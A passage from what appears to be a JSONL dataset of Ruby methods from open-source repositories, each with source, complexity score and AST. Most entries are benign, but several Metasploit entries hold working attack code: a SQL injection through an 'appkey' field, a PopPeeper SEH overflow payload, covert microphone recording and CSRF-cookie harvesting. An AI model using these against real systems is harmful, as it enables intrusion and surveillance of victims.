end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\"') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\"LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\"LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\"; -- \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"enginelist.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appkey\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}]}]}]}]}","id":"f2d846ba-88cb-45b1-ae5e-2801ad9d086c"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/attachment.rb","start_line":99,"raw_source":"def video?\n      RubyLLM::MimeType.video? mime_type\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"video?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"MimeType\"]},\"video?\",{\"type\":\"send\",\"children\":[null,\"mime_type\"]}]}]}","id":"c4d230cb-b5ac-4ef9-8282-4a0f7b52bd49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data.rb","start_line":447,"raw_source":"def clear_memoized\n        CE_MEMOIZED_VALUES.each { |v| clear_memoization(v) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_memoized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CE_MEMOIZED_VALUES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"clear_memoization\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}","id":"b476697d-c006-4cbc-b071-7f9e17b3a68a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report.rb","start_line":102,"raw_source":"def set_default_values\n      return if store.blank?\n\n      self.currency ||= store.default_currency\n      self.date_from ||= 1.month.ago.in_time_zone(store.preferred_timezone).beginning_of_day\n      self.date_to ||= Time.current.in_time_zone(store.preferred_timezone).end_of_day\n    end","complexity_score":20.65,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"currency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"default_currency\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"date_from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]},\"ago\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"preferred_timezone\"]}]},\"beginning_of_day\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"date_to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"preferred_timezone\"]}]},\"end_of_day\"]}]}]}]}","id":"32b0f2c7-f8e7-4887-85ca-89160828b095"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/testflight/testflight.rb","start_line":443,"raw_source":"def get_build(build_id: nil, app_store_version_id: nil, includes: nil)\n          if build_id\n            params = test_flight_request_client.build_params(filter: nil, includes: includes, limit: nil, sort: nil, cursor: nil)\n            return test_flight_request_client.get(\"#{Version::V1}/builds/#{build_id}\", params)\n          elsif app_store_version_id\n            params = test_flight_request_client.build_params(filter: nil, includes: includes, limit: nil, sort: nil, cursor: nil)\n            return test_flight_request_client.get(\"#{Version::V1}/appStoreVersions/#{app_store_version_id}/build\", params)\n          else\n            return nil\n          end\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"build_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"app_store_version_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/builds/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_store_version_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/appStoreVersions/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_store_version_id\"]}]},{\"type\":\"str\",\"children\":[\"/build\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"087aae51-5d2b-4c58-be84-306cb53dd369"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/x11/window.rb","start_line":214,"raw_source":"def initialize(width, height, image_data, color_data)\n    @width = width # integer, 1024 in 1024×768\n    @height = height # integer, 768 in 1024×768\n    @image_data = image_data # from X11GetImageResponse\n    @color_data = color_data # from X11GetColorsResponse\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"width\"]},{\"type\":\"arg\",\"children\":[\"height\"]},{\"type\":\"arg\",\"children\":[\"image_data\"]},{\"type\":\"arg\",\"children\":[\"color_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@width\",{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@height\",{\"type\":\"lvar\",\"children\":[\"height\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@image_data\",{\"type\":\"lvar\",\"children\":[\"image_data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@color_data\",{\"type\":\"lvar\",\"children\":[\"color_data\"]}]}]}]}","id":"558cf355-daaa-4a46-919a-5d1c0eba4800"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb","start_line":246,"raw_source":"def cmd_record_mic(*args)\n    path = Rex::Text.rand_text_alpha(8) + \".wav\"\n    play = true\n    duration = 1\n\n    record_mic_opts = Rex::Parser::Arguments.new(\n      \"-h\" => [ false, \"Help Banner\" ],\n      \"-d\" => [ true, \"Number of seconds to record (Default: 1)\" ],\n      \"-f\" => [ true, \"The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')\" ],\n      \"-p\" => [ true, \"Automatically play the captured audio (Default: '#{play}')\" ]\n    )\n\n    record_mic_opts.parse(args) do |opt, _idx, val|\n      case opt\n      when \"-h\"\n        print_line(\"Usage: record_mic [options]\\n\")\n        print_line(\"Records audio from the default microphone.\")\n        print_line(record_mic_opts.usage)\n        return\n      when \"-d\"\n        duration = val.to_i\n      when \"-f\"\n        path = val\n      when \"-p\"\n        play = false if val =~ /^(f|n|0)/i\n      end\n    end\n\n    print_status(\"Starting...\")\n    data = client.webcam.record_mic(duration)\n    print_status(\"Stopped\")\n\n    if data\n      ::File.open(path, 'wb') do |fd|\n        fd.write(data)\n      end\n      path = ::File.expand_path(path)\n      print_line(\"Audio saved to: #{path}\")\n      Rex::Compat.play_sound(path) if play\n    end\n    true\n  end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_record_mic\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"str\",\"children\":[\".wav\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"play\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"record_mic_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of seconds to record (Default: 1)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-f\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The wav file path (Default: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"[randomname].wav\"]}]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-p\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatically play the captured audio (Default: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"play\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_mic_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: record_mic [options]\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Records audio from the default microphone.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_mic_opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-f\"]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-p\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(f|n|0)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"play\",{\"type\":\"false\",\"children\":[]}]},null]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Starting...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"webcam\"]},\"record_mic\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Stopped\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Audio saved to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"play\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Compat\"]},\"play_sound\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"bc162b1d-b0e5-4391-b68c-58fafab7b6f1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/poppeeper_uidl.rb","start_line":68,"raw_source":"def on_client_data(client)\n    return if ((p = regenerate_payload(client)) == nil)\n\n    ok = \"+OK\\r\\n\"\n    client.put(ok)\n\n    client.get_once\n\n    ok = \"+OK\\r\\n\"\n    client.put(ok)\n\n    client.get_once\n\n    ok = \"+OK 1 100\\r\\n\"\n    client.put(ok)\n\n    client.get_once\n\n    sploit = \"+OK\\r\\n1 \" + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + \"\\r\\n.\\r\\n\"\n\n    client.put(sploit)\n\n    handler\n    service.close_client(client)\n  end","complexity_score":29.05,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"ok\",{\"type\":\"str\",\"children\":[\"+OK\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"ok\",{\"type\":\"str\",\"children\":[\"+OK\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"ok\",{\"type\":\"str\",\"children\":[\"+OK 1 100\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"+OK\\r\\n1 \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[1072]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n.\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"close_client\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}","id":"1d6f4c52-08f2-41fa-abe3-9b322cccd687"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":344,"raw_source":"def is_null_pointer(pointer)\n    if pointer.kind_of? String\n      pointer = unpack_pointer(pointer)\n    end\n\n    return pointer.nil? || pointer == 0\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"is_null_pointer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pointer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pointer\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pointer\",{\"type\":\"send\",\"children\":[null,\"unpack_pointer\",{\"type\":\"lvar\",\"children\":[\"pointer\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pointer\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pointer\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"4a003654-3670-4b6d-b924-4a0e7fbaafcd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb","start_line":98,"raw_source":"def adaudit_plus_grab_configured_domains(adapcsrf_cookie, only_get_cookie = false)\n    vprint_status('Attempting to obtain the list of configured domains...') unless only_get_cookie\n\n    res = send_request_cgi({\n      'uri' => adaudit_plus_configured_domains_uri,\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'vars_post' => {\n        'JSONString' => '{\"checkGDPR\":true}',\n        'adapcsrf' => adapcsrf_cookie.to_s\n      }\n    })\n\n    if only_get_cookie\n      purpose = 'obtain the adapcsrf cookie required to perform API calls'\n    else\n      purpose = 'obtain the list of configured domains'\n    end\n\n    unless res\n      return {\n        'status' => adaudit_plus_status::CONNECTION_FAILED,\n        'message' => \"Connection failed while attempting to #{purpose}.\"\n      }\n    end\n\n    # if we didn't get an expected response, we should always return since we won't be able to return the domains and/or a valid cookie\n    unless res.code == 200 && res.body&.include?('domainFullList')\n      return {\n        'status' => adaudit_plus_status::UNEXPECTED_REPLY,\n        'message' => \"Unexpected reply while attempting to #{purpose}.\"\n      }\n    end\n\n    # try to obtain the adapcsrf cookie\n    adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first\n    got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false\n\n    # if we have no valid cookie there is no point in continuing\n    unless got_cookie\n      return {\n        'status' => adaudit_plus_status::NO_ACCESS,\n        'message' => 'Failed to obtain the adapcsrf cookie required to perform API calls'\n      }\n    end\n\n    # if we only wanted to obtain the cookie, we can return here\n    if only_get_cookie\n      return {\n        'status' => adaudit_plus_status::SUCCESS,\n        'message' => 'Obtained the adapcsrf cookie required to perform API calls!',\n        'adapcsrf_cookie' => adapcsrf_cookie.value\n      }\n    end\n\n    # if we are here, we want to obtain the configured domains as well as the cookie\n    configured_domains = []\n    begin\n      domain_info = JSON.parse(res.body)\n      if domain_info && domain_info.include?('domainFullList') && !domain_info['domainFullList'].empty?\n        domain_full_list = domain_info['domainFullList']\n        domain_full_list.each do |domain|\n          next unless domain.is_a?(Hash) && domain.key?('name')\n\n          domain_name = domain['name']\n          next if domain_name.empty?\n\n          configured_domains << domain_name\n        end\n      else\n        print_error('Failed to identify any configured domains.')\n      end\n    rescue JSON::ParserError => e\n      print_error('Failed to identify any configured domains - The server response did not contain valid JSON.')\n      print_error(\"Error was: #{e.message}\")\n    end\n\n    if configured_domains.empty?\n      return {\n        'status' => adaudit_plus_status::NO_DOMAINS,\n        'message' => 'Failed to obtain the list of configured domains.',\n        'adapcsrf_cookie' => adapcsrf_cookie.value\n      }\n    end\n\n    print_status(\"Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}\")\n    {\n      'status' => adaudit_plus_status::SUCCESS,\n      'message' => 'Obtained the adapcsrf cookie required to perform API calls along with the configured domains!',\n      'adapcsrf_cookie' => adapcsrf_cookie.value,\n      'configured_domains' => configured_domains\n    }\n  end","complexity_score":94.03,"ast_json":"{\"type\":\"def\",\"children\":[\"adaudit_plus_grab_configured_domains\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"adapcsrf_cookie\"]},{\"type\":\"optarg\",\"children\":[\"only_get_cookie\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only_get_cookie\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Attempting to obtain the list of configured domains...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"adaudit_plus_configured_domains_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"JSONString\"]},{\"type\":\"str\",\"children\":[\"{\\\"checkGDPR\\\":true}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapcsrf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapcsrf_cookie\"]},\"to_s\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only_get_cookie\"]},{\"type\":\"lvasgn\",\"children\":[\"purpose\",{\"type\":\"str\",\"children\":[\"obtain the adapcsrf cookie required to perform API 